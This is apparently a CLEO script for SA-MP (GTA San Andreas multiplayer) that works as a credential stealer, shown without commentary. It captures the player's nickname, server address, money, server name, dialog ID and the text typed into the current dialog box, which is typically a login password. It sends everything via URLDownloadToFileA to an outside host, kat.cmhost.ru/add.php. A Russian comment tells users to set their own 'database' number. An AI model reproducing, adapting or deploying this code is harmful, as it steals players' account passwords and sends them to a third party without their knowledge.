0ac8: 1@ = 52
0B36: samp 1@ = get_player_nickname $PLAYER_CHAR
:Label0
While true
wait 0
if 0b4c: -1
    then
    0ac8: 2@ = 64
    0B39: samp get_current_server_address 2@ port 3@
    010B: 5@ = player $PLAYER_CHAR money
    0ac8: 6@ = 256
    0B3A: samp 6@ = get_current_server_name
    0ac8: 4@ = 64
    repeat
    wait 0
    0B4E: samp 7@ = get_current_dialog_id
    0B4A: samp 4@ = get_current_dialog_editbox_text
    until 8b4c: -1
    wait 50
    0AC6: 0@ = label @url offset
    0AC8: 8@ = allocate_memory_size 1024
    0AD3: 8@ = format "%slog=%s&srvr=%s:%d&inf=%s&mn=%d&servname=%s&did=%d&stuid=15" params 0@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ //stuid=15 - номер базы, меняйте 15 на свою базу
    0AA2: 9@ = load_library "urlmon.dll" // IF and SET
    0AA4: 10@ = get_proc_address "URLDownloadToFileA" library 9@ // IF and SET
    0AA5: call 10@ num_params 5 pop 0 params lpfnCB 0 dwReserved 0 szFileName "0" szUrl 8@ caller 0
    0AA3: free_library 9@
    0AC9: free_allocated_memory 1@
    0ac9: free_allocated_memory 4@
    0ac9: free_allocated_memory 2@
    0ac9: free_allocated_memory 6@
    0ac9: free_allocated_memory 8@
    else jump @Label0
    wait 950
    if 8b4c: -1
        then jump @Start
        else jump @Label0
    end
end
:url
hex
"http:" 2f 2f "kat.cmhost.ru" 2f "add.php?" 00
end
:Start
0@ = 0
1@ = 0
2@ = 0
3@ = 0
4@ = 0
5@ = 0
6@ = 0
7@ = 0
8@ = 0
9@ = 0
10@ = 0